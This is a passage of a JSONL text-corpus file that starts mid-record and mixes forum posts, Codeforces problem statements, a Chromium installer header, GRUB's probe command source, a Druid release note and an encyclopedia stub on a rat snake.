Crummy engineers have a chance of muddling through if the requirements are good and understood. Good engineers with a good model will stumble (or grumble) with crummy requirements.\nThe WM allows for loops, but try convincing managers to allocate time and staff for the looping. The enlightened ones might add in a little.\nAn engineer with some understanding of the product (system requirements, experience, napkin, etc.) can start working on tests even before the requirements are complete. I made the mistake of saying out loud in a meeting that I was working on tests before software requirement completion, and was greeted with stares as though I had grown a third eye.\nAs a requirements engineer, I whole-heartedly agree! Requirements will be an interesting challenge for the EB project (see subsequent posts) since we don’t really have developers in the traditional sense. I hope all is well at Astro. I miss you and the old crew. 🙂\nJust read you posts, great reads.\nWorking for over 15 yrs in automotive and today I (again) had to explain, that although we want to be “agile”, we need some product reqs writen down and a process to get the missing ones! Having user stories in Jira is not enough to be certain we are going to hit what our customer (actually thinks he/she) needs …\nKeep at it, looking forward to new posts!\nSorry for the anonymity, I am kind of like that way :)!", "source": "cpt_opc_fineweb_code", "language": "code", "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "FYI we have developed a new module ServiceAPI that allows to get access to user’s data in an emonCMS installation by providing a master apikey (aka service_apikey)\nand the username or email address of the user.\nOur user case is to allow our members to access their MyHomeEnergyPlanner data from our dashboard (in a complete different web app). This way we don’t need to know the user write or read apikeys.\nThe service_apikey can be sent in the query string of the URL or as a POST field (recommended)\nSo to access data this way you could do a curl to something like:", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 132, "token_count_with_eod": 133, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "Salem gave you $$$n$$$ sticks with integer positive lengths $$$a_1, a_2, \\ldots, a_n$$$.\n\nFor every stick, you can change its length to any other positive integer length (that is, either shrink or stretch it). The cost of changing the stick's length from $$$a$$$ to $$$b$$$ is $$$|a - b|$$$, where $$$|x|$$$ means the absolute value of $$$x$$$.\n\nA stick length $$$a_i$$$ is called almost good for some integer $$$t$$$ if $$$|a_i - t| \\le 1$$$.\n\nSalem asks you to change the lengths of some sticks (possibly all or none), such that all sticks' lengths are almost good for some positive integer $$$t$$$ and the total cost of changing is minimum possible. The value of $$$t$$$ is not fixed in advance and you can choose it as any positive integer.\n\nAs an answer, print the value of $$$t$$$ and the minimum cost. If there are multiple optimal choices for $$$t$$$, print any of them.", "source": "cpt_codeforces", "language": "en", "validation_channel": "code", "validation_source": "cpt_codeforces"}
{"text": "To celebrate his recovery, k1o0n has baked an enormous $$$n$$$ metres long potato casserole.\n\nTurns out, Noobish_Monk just can't stand potatoes, so he decided to ruin k1o0n's meal. He has cut it into $$$k$$$ pieces, of lengths $$$a_1, a_2, \\dots, a_k$$$ meters.\n\nk1o0n wasn't keen on that. Luckily, everything can be fixed. In order to do that, k1o0n can do one of the following operations:\n\n- Pick a piece with length $$$a_i \\ge 2$$$ and divide it into two pieces with lengths $$$1$$$ and $$$a_i - 1$$$. As a result, the number of pieces will increase by $$$1$$$;\n- Pick a slice $$$a_i$$$ and another slice with length $$$a_j=1$$$ ($$$i \\ne j$$$) and merge them into one piece with length $$$a_i+1$$$. As a result, the number of pieces will decrease by $$$1$$$.\n\nHelp k1o0n to find the minimum number of operations he needs to do in order to merge the casserole into one piece with length $$$n$$$.\n\nFor example, if $$$n=5$$$, $$$k=2$$$ and $$$a = [3, 2]$$$, it is optimal to do the following:\n\n1. Divide the piece with length $$$2$$$ into two pieces with lengths $$$2-1=1$$$ and $$$1$$$, as a result $$$a = [3, 1, 1]$$$.\n2. Merge the piece with length $$$3$$$ and the piece with length $$$1$$$, as a result $$$a = [4, 1]$$$.\n3. Merge the piece with length $$$4$$$ and the piece with length $$$1$$$, as a result $$$a = [5]$$$.", "source": "cpt_codeforces", "language": "en", "token_count": 408, "token_count_with_eod": 409, "validation_channel": "code", "validation_source": "cpt_codeforces"}
{"text": "Talk in English - US at Madison PHP Conference 2018\nView Slides: https://github.com/galieth/2018_madisonphp_talks/tree/master/Gutenberg\nShort URL: https://joind.in/talk/5d414 (QR-Code (opens in new window))\nGutenberg is WordPress's newest method for creating pages. Come and hear about how it will change how you create content, and how you as a programmer can make it easier for editors to create pages.", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 110, "token_count_with_eod": 111, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "// Copyright (c) 2012 The Chromium Authors. All rights reserved.\n// Use of this source code is governed by a BSD-style license that can be\n// found in the LICENSE file.\n//\n// This file declares a class that contains various method related to branding.\n\n#ifndef CHROME_INSTALLER_UTIL_BROWSER_DISTRIBUTION_H_\n#define CHROME_INSTALLER_UTIL_BROWSER_DISTRIBUTION_H_\n\n#include <string>\n\n#include \"base/basictypes.h\"\n#include \"base/files/file_path.h\"\n#include \"base/strings/string16.h\"\n#include \"base/version.h\"\n#include \"chrome/installer/util/util_constants.h\"\n\n#if defined(OS_WIN)\n#include <windows.h>  // NOLINT\n#endif\n\nclass BrowserDistribution {\n public:\n  enum Type {\n    CHROME_BROWSER,\n    CHROME_FRAME,\n    CHROME_BINARIES,\n    CHROME_APP_HOST,\n    NUM_TYPES\n  };\n\n  virtual ~BrowserDistribution() {}\n\n  static BrowserDistribution* GetDistribution();\n\n  static BrowserDistribution* GetSpecificDistribution(Type type);\n\n  Type GetType() const { return type_; }\n\n  virtual void DoPostUninstallOperations(const Version& version,\n                                         const base::FilePath& local_data_path,\n                                         const string16& distribution_data);\n\n  // Returns the GUID to be used when registering for Active Setup.\n  virtual string16 GetActiveSetupGuid();\n\n  virtual string16 GetAppGuid();\n\n  // Returns the unsuffixed application name of this program.\n  // This is the base of the name registered with Default Programs on Windows.\n  // IMPORTANT: This should only be called by the installer which needs to make\n  // decisions on the suffixing of the upcoming install, not by external callers\n  // at run-time.\n  virtual string16 GetBaseAppName();\n\n  // Returns the localized name of the program.\n  virtual string16 GetAppShortCutName();\n\n  virtual string16 GetAlternateApplicationName();\n\n  // Returns the unsuffixed appid of this program.\n  // The AppUserModelId is a property of Windows programs.\n  // IMPORTANT: This should only be called by ShellUtil::GetAppId as the appid\n  // should be suffixed in all scenarios.\n  virtual string16 GetBaseAppId();\n\n  virtual string16 GetInstallSubDir();\n\n  virtual string16 GetPublisherName();\n\n  virtual string16 GetAppDescription();\n\n  virtual string16 GetLongAppDescription();\n\n  virtual std::string GetSafeBrowsingName();\n\n  virtual string16 GetStateKey();\n\n  virtual string16 GetStateMediumKey();\n\n  virtual std::string GetNetworkStatsServer() const;\n\n  virtual std::string GetHttpPipeliningTestServer() const;\n\n#if defined(OS_WIN)\n  virtual string16 GetDistributionData(HKEY root_key);\n#endif\n\n  virtual string16 GetUninstallLinkName();\n\n  virtual string16 GetUninstallRegPath();\n\n  virtual string16 GetVersionKey();\n\n  virtual bool CanSetAsDefault();\n\n  virtual bool CanCreateDesktopShortcuts();\n\n  // Returns the executable filename (not path) that contains the product icon.\n  virtual string16 GetIconFilename();\n\n  // Returns the index of the icon for the product, inside the file specified by\n  // GetIconFilename().\n  virtual int GetIconIndex();\n\n  virtual bool GetChromeChannel(string16* channel);\n\n  // Returns true if this distribution includes a DelegateExecute verb handler,\n  // and provides the CommandExecuteImpl class UUID if |handler_class_uuid| is\n  // non-NULL.\n  virtual bool GetCommandExecuteImplClsid(string16* handler_class_uuid);\n\n  // Returns true if this distribution uses app_host.exe to run platform apps.\n  virtual bool AppHostIsSupported();\n\n  virtual void UpdateInstallStatus(bool system_install,\n      installer::ArchiveType archive_type,\n      installer::InstallStatus install_status);\n\n  // Returns true if this distribution should set the Omaha experiment_labels\n  // registry value.\n  virtual bool ShouldSetExperimentLabels();\n\n  virtual bool HasUserExperiments();\n\n protected:\n  explicit BrowserDistribution(Type type);\n\n  template<class DistributionClass>\n  static BrowserDistribution* GetOrCreateBrowserDistribution(\n      BrowserDistribution** dist);\n\n  const Type type_;\n\n private:\n  BrowserDistribution();\n\n  DISALLOW_COPY_AND_ASSIGN(BrowserDistribution);\n};\n\n#endif  // CHROME_INSTALLER_UTIL_BROWSER_DISTRIBUTION_H_", "source": "cpt_stack_code", "language": "code", "token_count": 985, "token_count_with_eod": 986, "validation_channel": "code", "validation_source": "cpt_stack_code"}
{"text": "I am after creating a Blog and wiki functionality in Websphere Portal. I understand that blogs and wiki's can be created even with Quickr which we are already using but since we only have licence for Quickr for Lotus Domino, we cannot incorporate the Blogs in Webpshere portal as portlets and just have to give as url's.\nI am actually after creating Blogs using Portlet factory/WCM in Websphere Portal 6.1 so that they can be incorporated in Websphre portal. So could some one suggest a approch to create Blogs, wiki's using rtlet factory/Lotus Web Content Management.\nRe: Blogs and wiki functionality2009-12-16T20:56:27ZThis is the accepted answer. This is the accepted answer.From what I know about the WCM builder, it only allows you to consume WCM content.\nYou might want to post into the WebSphere Portlet Factory Best Practices database, which gets a lot more traffic than this database.\nsabIBMDevWork 0600012RYD1 Post\nRe: Blogs and wiki functionality2010-01-27T15:49:02ZThis is the accepted answer. This is the accepted answer.In Websphere Portal 6.1.5 a set of preinstalled Web content libraries are supplied to allow you to add blog and wiki features to your Web sites.\nRe: Blogs and wiki functionality2010-01-27T15:53:12ZThis is the accepted answer. This is the accepted answer.\n- sabIBMDevWork 0600012RYD\nI tried with this but i have some issues as posted in the new forum", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 372, "token_count_with_eod": 373, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "- Is Computer Engineering hard to study?\n- Is computer engineering in demand?\n- Is Computer Engineering a good career?\n- What does it take to be a computer engineer?\n- Which is harder electrical or computer engineering?\n- Does computer engineering require math?\n- Which is better IT or computer engineering?\n- Who gets paid more computer science or computer engineering?\n- Which is harder engineering or computer science?\nFor me, the answer is that Computer Engineering is very hard.\nI would prefer Computer Science or Civil Engineering because they appeal to my particular set of problem solving skills in terms of logic and structure.\nYour answer will be different.\nComputer Engineering is a very interesting field (even for me).\nIs Computer Engineering hard to study?\nElectrical engineering is not the hardest engineering discipline. Computer Engineering is more or less the same as Electrical, but with a few less analog classes, and a few more computer science and digital classes. Pure Computer Science (CS) is not an engineering discipline. It is a lot more like Math.\nIs computer engineering in demand?\nEmployment of computer hardware engineers is projected to grow 6 percent from 2018 to 2028, about as fast as the average for all occupations. A limited number of engineers will be needed to meet the demand for new computer hardware because more technological innovation takes place with software than with hardware.\nIs Computer Engineering a good career?\nWhile there are many different jobs within the field of computer engineering, there are several commonalities among them that make it an excellent choice for the right person. The benefits of computer engineering as a career include great pay, job security and an environment of change and innovation.\nWhat does it take to be a computer engineer?\nComputer engineers typically need a bachelor’s degree in computer engineering, computer science, or software engineering to be able to work in the field, according to the BLS (BLS, Dec. 2015). Students also may be able to find schools that offer a combined bachelor’s and master’s degree through five-year programs.\nWhich is harder electrical or computer engineering?\nElectrical Engineering relies heavily on complicated nonlinear math where exact answers are difficult to come by. Finally, Computer Engineering works with more discrete math and logic design requiring you to design solutions that can solve a myriad of problems, plus more language learning than the others.\nDoes computer engineering require math?\nA computer engineering degree requires numerous math courses. At minimum, students should expect three different calculus courses plus differential equations. Mathematical modeling, probability, cryptography and statistics may also be in the degree plan.\nWhich is better IT or computer engineering?\nComputer science focuses on the basics of computing, including, algorithms, programming languages, artificial intelligence and hardware design. Computer engineering is focused more on the designing and developing of computer systems and how the software interacts with the hardware.\nWho gets paid more computer science or computer engineering?\nComputer science majors can earn 40 percent more than other college majors, and all occupations in science, technology, engineering, and mathematics (STEM) pay more than non- STEM careers by 12-30 percent across all education levels.\nWhich is harder engineering or computer science?\nBoth are tough, but with computer science you mainly focus on mathematics and computer related problems. In engineering you have to go through a lot of math and lot of science and physics and then more science depending on which type of engineering you do. If you don’t like math, then engineering is harder.", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 724, "token_count_with_eod": 725, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "Fishingprince loves trees. A tree is a connected undirected graph without cycles.\n\nFishingprince has a tree of $$$n$$$ vertices. The vertices are numbered $$$1$$$ through $$$n$$$. Let $$$d(x,y)$$$ denote the shortest distance on the tree from vertex $$$x$$$ to vertex $$$y$$$, assuming that the length of each edge is $$$1$$$.\n\nHowever, the tree was lost in an accident. Fortunately, Fishingprince still remembers some information about the tree. More specifically, for every triple of integers $$$x,y,z$$$ ($$$1\\le x<y\\le n$$$, $$$1\\le z\\le n$$$) he remembers whether $$$d(x,z)=d(y,z)$$$ or not.\n\nHelp him recover the structure of the tree, or report that no tree satisfying the constraints exists.", "source": "cpt_codeforces", "language": "en", "validation_channel": "code", "validation_source": "cpt_codeforces"}
{"text": "We’re happy to announce our next release candidate, Druid 0.12.2-rc1!\nDruid 0.12.2 is a non-ASF release.\nIt contains stability improvements and bug fixes from 13 contributors. Major improvements include more stable data ingestion especially for Kafka indexing service, more stable segment management, and bug fixes in querying and result caching.\nEveryone in the community is invited to help out with the upcoming release by downloading this candidate and evaluating it.\nDraft release notes are at:\nDocumentation for this release candidate is at:\nYou can download the release candidate here:\nPlease file GitHub issues if you find any problems:\nThanks everyone who contributed!", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 144, "token_count_with_eod": 145, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "You are given a multiset of n integers. You should select exactly k of them in a such way that the difference between any two of them is divisible by m, or tell that it is impossible.\n\nNumbers can be repeated in the original multiset and in the multiset of selected numbers, but number of occurrences of any number in multiset of selected numbers should not exceed the number of its occurrences in the original multiset.", "source": "cpt_codeforces", "language": "en", "token_count": 87, "token_count_with_eod": 88, "validation_channel": "code", "validation_source": "cpt_codeforces"}
{"text": "These days Arkady works as an air traffic controller at a large airport. He controls a runway which is usually used for landings only. Thus, he has a schedule of planes that are landing in the nearest future, each landing lasts $$$1$$$ minute.\n\nHe was asked to insert one takeoff in the schedule. The takeoff takes $$$1$$$ minute itself, but for safety reasons there should be a time space between the takeoff and any landing of at least $$$s$$$ minutes from both sides.\n\nFind the earliest time when Arkady can insert the takeoff.", "source": "cpt_codeforces", "language": "en", "token_count": 117, "token_count_with_eod": 118, "validation_channel": "code", "validation_source": "cpt_codeforces"}
{"text": "Hi guys and girls,\nI have created a survey as part of my work experience project in which I was tasked to gather information about how technology and education relate together. The data gathered in this survey will be used in a report to present my findings.\nI will be asking three sets of questions which will aim to gather important information which will impact on your future education and career!\nThese questions will ask you about your school experiences and also your expectations of university.\nAll data collected in this survey will remain anonymous and will not be shown to anyone apart from those involved in the project.\nHave you done any of these?", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 127, "token_count_with_eod": 128, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "/*\n *  GRUB  --  GRand Unified Bootloader\n *  Copyright (C) 2009  Free Software Foundation, Inc.\n *\n *  GRUB is free software: you can redistribute it and/or modify\n *  it under the terms of the GNU General Public License as published by\n *  the Free Software Foundation, either version 3 of the License, or\n *  (at your option) any later version.\n *\n *  GRUB is distributed in the hope that it will be useful,\n *  but WITHOUT ANY WARRANTY; without even the implied warranty of\n *  MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n *  GNU General Public License for more details.\n *\n *  You should have received a copy of the GNU General Public License\n *  along with GRUB.  If not, see <http://www.gnu.org/licenses/>.\n */\n\n#include <grub/types.h>\n#include <grub/misc.h>\n#include <grub/mm.h>\n#include <grub/err.h>\n#include <grub/dl.h>\n#include <grub/device.h>\n#include <grub/disk.h>\n#include <grub/partition.h>\n#include <grub/gpt_partition.h>\n#include <grub/net.h>\n#include <grub/fs.h>\n#include <grub/file.h>\n#include <grub/misc.h>\n#include <grub/env.h>\n#include <grub/extcmd.h>\n#include <grub/i18n.h>\n#include <grub/i386/pc/boot.h>\n\nGRUB_MOD_LICENSE (\"GPLv3+\");\n\nstatic const struct grub_arg_option options[] =\n  {\n    {\"set\",             's', 0,\n     N_(\"Set a variable to return value.\"), N_(\"VARNAME\"), ARG_TYPE_STRING},\n    /* TRANSLATORS: It's a driver that is currently in use to access\n       the diven disk.  */\n    {\"driver\",\t\t'd', 0, N_(\"Determine driver.\"), 0, 0},\n    {\"partmap\",\t\t'p', 0, N_(\"Determine partition map type.\"), 0, 0},\n    {\"fs\",\t\t'f', 0, N_(\"Determine filesystem type.\"), 0, 0},\n    {\"fs-uuid\",\t\t'u', 0, N_(\"Determine filesystem UUID.\"), 0, 0},\n    {\"label\",\t\t'l', 0, N_(\"Determine filesystem label.\"), 0, 0},\n    {\"part-uuid\",\t0,   0, N_(\"Determine partition UUID.\"), 0, 0},\n    {0, 0, 0, 0, 0, 0}\n  };\n\nstatic grub_err_t\ngrub_cmd_probe (grub_extcmd_context_t ctxt, int argc, char **args)\n{\n  struct grub_arg_list *state = ctxt->state;\n  grub_device_t dev;\n  grub_fs_t fs;\n  char *ptr;\n  grub_err_t err;\n\n  if (argc < 1)\n    return grub_error (GRUB_ERR_BAD_ARGUMENT, \"device name required\");\n\n  ptr = args[0] + grub_strlen (args[0]) - 1;\n  if (args[0][0] == '(' && *ptr == ')')\n    {\n      *ptr = 0;\n      dev = grub_device_open (args[0] + 1);\n      *ptr = ')';\n    }\n  else\n    dev = grub_device_open (args[0]);\n  if (! dev)\n    return grub_errno;\n\n  if (state[1].set)\n    {\n      const char *val = \"none\";\n      if (dev->net)\n\tval = dev->net->protocol->name;\n      if (dev->disk)\n\tval = dev->disk->dev->name;\n      if (state[0].set)\n\tgrub_env_set (state[0].arg, val);\n      else\n\tgrub_printf (\"%s\", val);\n      grub_device_close (dev);\n      return GRUB_ERR_NONE;\n    }\n  if (state[2].set)\n    {\n      const char *val = \"none\";\n      if (dev->disk && dev->disk->partition)\n\tval = dev->disk->partition->partmap->name;\n      if (state[0].set)\n\tgrub_env_set (state[0].arg, val);\n      else\n\tgrub_printf (\"%s\", val);\n      grub_device_close (dev);\n      return GRUB_ERR_NONE;\n    }\n  if (state[6].set)\n    {\n      /* AAAABBBB-CCCC-DDDD-EEEE-FFFFFFFFFFFF + null terminator */\n      char val[37] = \"none\";\n      if (dev->disk && dev->disk->partition)\n\t{\n\t  struct grub_partition *p = dev->disk->partition;\n\t  grub_disk_t disk = grub_disk_open(dev->disk->name);\n\n\t  if (!disk)\n\t    {\n\t      grub_device_close (dev);\n\t      return grub_errno;\n\t    }\n\n\t  if (grub_strcmp(dev->disk->partition->partmap->name, \"gpt\") == 0)\n\t    {\n\t      struct grub_gpt_partentry entry;\n\t      grub_gpt_part_guid_t *guid;\n\n\t      if (grub_disk_read(disk, p->offset, p->index, sizeof(entry), &entry))\n\t\treturn grub_errno;\n\t      guid = &entry.guid;\n\t      grub_snprintf (val, sizeof(val),\n\t\t\t     \"%08x-%04x-%04x-%02x%02x-%02x%02x%02x%02x%02x%02x\",\n\t\t\t     grub_le_to_cpu32 (guid->data1),\n\t\t\t     grub_le_to_cpu16 (guid->data2),\n\t\t\t     grub_le_to_cpu16 (guid->data3),\n\t\t\t     guid->data4[0], guid->data4[1], guid->data4[2],\n\t\t\t     guid->data4[3], guid->data4[4], guid->data4[5],\n\t\t\t     guid->data4[6], guid->data4[7]);\n\t    }\n\t  else if (grub_strcmp(dev->disk->partition->partmap->name, \"msdos\") == 0)\n\t    {\n\t      grub_uint32_t nt_disk_sig;\n\n\t      if (grub_disk_read(disk, 0, GRUB_BOOT_MACHINE_WINDOWS_NT_MAGIC,\n\t\t\t\t sizeof(nt_disk_sig), &nt_disk_sig) == 0)\n\t\tgrub_snprintf (val, sizeof(val), \"%08x-%02x\",\n\t\t\t       grub_le_to_cpu32(nt_disk_sig), 1 + p->number);\n\t    }\n\t  grub_disk_close(disk);\n\t}\n      if (state[0].set)\n\tgrub_env_set (state[0].arg, val);\n      else\n\tgrub_printf (\"%s\", val);\n      grub_device_close (dev);\n      return GRUB_ERR_NONE;\n    }\n  fs = grub_fs_probe (dev);\n  if (! fs)\n    return grub_errno;\n  if (state[3].set)\n    {\n      if (state[0].set)\n\tgrub_env_set (state[0].arg, fs->name);\n      else\n\tgrub_printf (\"%s\", fs->name);\n      grub_device_close (dev);\n      return GRUB_ERR_NONE;\n    }\n  if (state[4].set)\n    {\n      char *uuid;\n      if (! fs->fs_uuid)\n\treturn grub_error (GRUB_ERR_NOT_IMPLEMENTED_YET,\n\t\t\t   N_(\"%s does not support UUIDs\"), fs->name);\n      err = fs->fs_uuid (dev, &uuid);\n      if (err)\n\treturn err;\n      if (! uuid)\n\treturn grub_error (GRUB_ERR_NOT_IMPLEMENTED_YET,\n\t\t\t   N_(\"%s does not support UUIDs\"), fs->name);\n\n      if (state[0].set)\n\tgrub_env_set (state[0].arg, uuid);\n      else\n\tgrub_printf (\"%s\", uuid);\n      grub_free (uuid);\n      grub_device_close (dev);\n      return GRUB_ERR_NONE;\n    }\n  if (state[5].set)\n    {\n      char *label;\n      if (! fs->fs_label)\n\treturn grub_error (GRUB_ERR_NOT_IMPLEMENTED_YET,\n\t\t\t   N_(\"filesystem `%s' does not support labels\"),\n\t\t\t   fs->name);\n      err = fs->fs_label (dev, &label);\n      if (err)\n\treturn err;\n      if (! label)\n\treturn grub_error (GRUB_ERR_NOT_IMPLEMENTED_YET,\n\t\t\t   N_(\"filesystem `%s' does not support labels\"),\n\t\t\t   fs->name);\n\n      if (state[0].set)\n\tgrub_env_set (state[0].arg, label);\n      else\n\tgrub_printf (\"%s\", label);\n      grub_free (label);\n      grub_device_close (dev);\n      return GRUB_ERR_NONE;\n    }\n  grub_device_close (dev);\n  return grub_error (GRUB_ERR_BAD_ARGUMENT, \"unrecognised target\");\n}\n\nstatic grub_extcmd_t cmd;\n\nGRUB_MOD_INIT (probe)\n{\n  cmd = grub_register_extcmd (\"probe\", grub_cmd_probe, 0, N_(\"DEVICE\"),\n\t\t\t      N_(\"Retrieve device info.\"), options);\n}\n\nGRUB_MOD_FINI (probe)\n{\n  grub_unregister_extcmd (cmd);\n}", "source": "cpt_stack_code", "language": "code", "token_count": 2147, "token_count_with_eod": 2148, "validation_channel": "code", "validation_source": "cpt_stack_code"}
{"text": "Yarik is a big fan of many kinds of music. But Yarik loves not only listening to music but also writing it. He likes electronic music most of all, so he has created his own system of music notes, which, in his opinion, is best for it.\n\nSince Yarik also likes informatics, in his system notes are denoted by integers of $$$2^k$$$, where $$$k \\ge 1$$$ — a positive integer. But, as you know, you can't use just notes to write music, so Yarik uses combinations of two notes. The combination of two notes $$$(a, b)$$$, where $$$a = 2^k$$$ and $$$b = 2^l$$$, he denotes by the integer $$$a^b$$$.\n\nFor example, if $$$a = 8 = 2^3$$$, $$$b = 4 = 2^2$$$, then the combination $$$(a, b)$$$ is denoted by the integer $$$a^b = 8^4 = 4096$$$. Note that different combinations can have the same notation, e.g., the combination $$$(64, 2)$$$ is also denoted by the integer $$$4096 = 64^2$$$.\n\nYarik has already chosen $$$n$$$ notes that he wants to use in his new melody. However, since their integers can be very large, he has written them down as an array $$$a$$$ of length $$$n$$$, then the note $$$i$$$ is $$$b_i = 2^{a_i}$$$. The integers in array $$$a$$$ can be repeated.\n\nThe melody will consist of several combinations of two notes. Yarik was wondering how many pairs of notes $$$b_i, b_j$$$ $$$(i < j)$$$ exist such that the combination $$$(b_i, b_j)$$$ is equal to the combination $$$(b_j, b_i)$$$. In other words, he wants to count the number of pairs $$$(i, j)$$$ $$$(i < j)$$$ such that $$$b_i^{b_j} = b_j^{b_i}$$$. Help him find the number of such pairs.", "source": "cpt_codeforces", "language": "en", "token_count": 463, "token_count_with_eod": 464, "validation_channel": "code", "validation_source": "cpt_codeforces"}
{"text": "Vlad remembered that he had a series of $$$n$$$ tiles and a number $$$k$$$. The tiles were numbered from left to right, and the $$$i$$$-th tile had colour $$$c_i$$$.\n\nIf you stand on the first tile and start jumping any number of tiles right, you can get a path of length $$$p$$$. The length of the path is the number of tiles you stood on.\n\nVlad wants to see if it is possible to get a path of length $$$p$$$ such that:\n\n- it ends at tile with index $$$n$$$;\n- $$$p$$$ is divisible by $$$k$$$\n- the path is divided into blocks of length exactly $$$k$$$ each;\n- tiles in each block have the same colour, the colors in adjacent blocks are not necessarily different.\n\nFor example, let $$$n = 14$$$, $$$k = 3$$$.\n\nThe colours of the tiles are contained in the array $$$c$$$ = [$$$\\color{red}{1}, \\color{violet}{2}, \\color{red}{1}, \\color{red}{1}, \\color{gray}{7}, \\color{orange}{5}, \\color{green}{3}, \\color{green}{3}, \\color{red}{1}, \\color{green}{3}, \\color{blue}{4}, \\color{blue}{4}, \\color{violet}{2}, \\color{blue}{4}$$$]. Then we can construct a path of length $$$6$$$ consisting of $$$2$$$ blocks:\n\n$$$\\color{red}{c_1} \\rightarrow \\color{red}{c_3} \\rightarrow \\color{red}{c_4} \\rightarrow \\color{blue}{c_{11}} \\rightarrow \\color{blue}{c_{12}} \\rightarrow \\color{blue}{c_{14}}$$$\n\nAll tiles from the $$$1$$$-st block will have colour $$$\\color{red}{\\textbf{1}}$$$, from the $$$2$$$-nd block will have colour $$$\\color{blue}{\\textbf{4}}$$$.\n\nIt is also possible to construct a path of length $$$9$$$ in this example, in which all tiles from the $$$1$$$-st block will have colour $$$\\color{red}{\\textbf{1}}$$$, from the $$$2$$$-nd block will have colour $$$\\color{green}{\\textbf{3}}$$$, and from the $$$3$$$-rd block will have colour $$$\\color{blue}{\\textbf{4}}$$$.", "source": "cpt_codeforces", "language": "en", "token_count": 546, "token_count_with_eod": 547, "validation_channel": "code", "validation_source": "cpt_codeforces"}
{"text": "Any experience with either of these two online vendors. Elegant Audio is selling the speakers I like at deep discounted prices. I could buy a much higher quality model speaker given their discounted pricing. HIDEF is selling through 'Amazon but still wanted to check to see if others had any experience dealing with them? Should i steer clear of either one or both?", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 71, "token_count_with_eod": 72, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "I'm using getrusage to get the usertime and systemtime, but sometimes the times returned are negative -->\nuser time: 1313366639 microseconds\nsystem time: -1547562616 microseconds\nI'm not sure I've understood getrusage correctly, so I'm posting my code in hope of getting a few tips on how to avoid the negative numbers... :o)\nThe output is supposed to be in microseconds, and I read that the output from tv_sec + tv_usec can be both in microseconds and seconds... How do I know which one I get?\nstruct rusage ru; struct timeval tim; getrusage(RUSAGE_SELF, &ru); tim=ru.ru_utime; double sutime = (double)tim.tv_sec + (double)tim.tv_usec / 1000000.0; printf(\"SELF:\\n\"); printf(\" user time: %d microseconds\\n\", sutime); tim=ru.ru_stime; double sstime = (double)tim.tv_sec + (double)tim.tv_usec / 1000000.0; printf(\" system time: %d microseconds\\n\", sstime);", "source": "cpt_opc_fineweb_code", "language": "code", "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "Elaphe carinata is a large snake with total length up to 240 cm (94 in). The other common names \"stink snake\" or \"stinking goddess\" refer to this species' highly developed post-anal glands which, when the snake is picked up, are frequently emptied, with a very strong, bad odour.\nElaphe carinata is an active, predatory snake that eats everything from beetles to birds to snakes, with particular preference for the latter.\nThe common name of \"King ratsnake\" refers to its habit of eating other snakes, including venomous species such as the Chinese cobra and the sharp-nosed viper. It suffocates its prey by constriction, similar to the hunting technique of boas and pythons. It also preys on rodents and other small animals.\nDistribution: China, North Vietnam, Taiwan, Japan (Ryukyu Islands).\n- Hans Breuer & William Christopher Murphy (2009-2010). \"Elaphe carinata\". Snakes of Taiwan. Retrieved 15 October 2012.\n- Elaphe carinata at the Reptarium.cz Reptile Database. Accessed 15 October 2012.\n- Zhou, Z.; Jiang, Z. (2004). \"International trade status and crisis for snake species in China\". Conservation Biology 18 (5): 1386–1394. doi:10.1111/j.1523-1739.2004.00251.x.\n|Wikimedia Commons has media related to Elaphe.|\n|Wikispecies has information related to: Elaphe carinata|\n|This Colubrids article is a stub. You can help Wikipedia by expanding it.|", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 390, "token_count_with_eod": 391, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "You are given a bracket sequence $$$s$$$ of length $$$n$$$, where $$$n$$$ is even (divisible by two). The string $$$s$$$ consists of $$$\\frac{n}{2}$$$ opening brackets '(' and $$$\\frac{n}{2}$$$ closing brackets ')'.\n\nIn one move, you can choose exactly one bracket and move it to the beginning of the string or to the end of the string (i.e. you choose some index $$$i$$$, remove the $$$i$$$-th character of $$$s$$$ and insert it before or after all remaining characters of $$$s$$$).\n\nYour task is to find the minimum number of moves required to obtain regular bracket sequence from $$$s$$$. It can be proved that the answer always exists under the given constraints.\n\nRecall what the regular bracket sequence is:\n\n- \"()\" is regular bracket sequence;\n- if $$$s$$$ is regular bracket sequence then \"(\" + $$$s$$$ + \")\" is regular bracket sequence;\n- if $$$s$$$ and $$$t$$$ are regular bracket sequences then $$$s$$$ + $$$t$$$ is regular bracket sequence.\n\nFor example, \"()()\", \"(())()\", \"(())\" and \"()\" are regular bracket sequences, but \")(\", \"()(\" and \")))\" are not.\n\nYou have to answer $$$t$$$ independent test cases.", "source": "cpt_codeforces", "language": "en", "validation_channel": "code", "validation_source": "cpt_codeforces"}
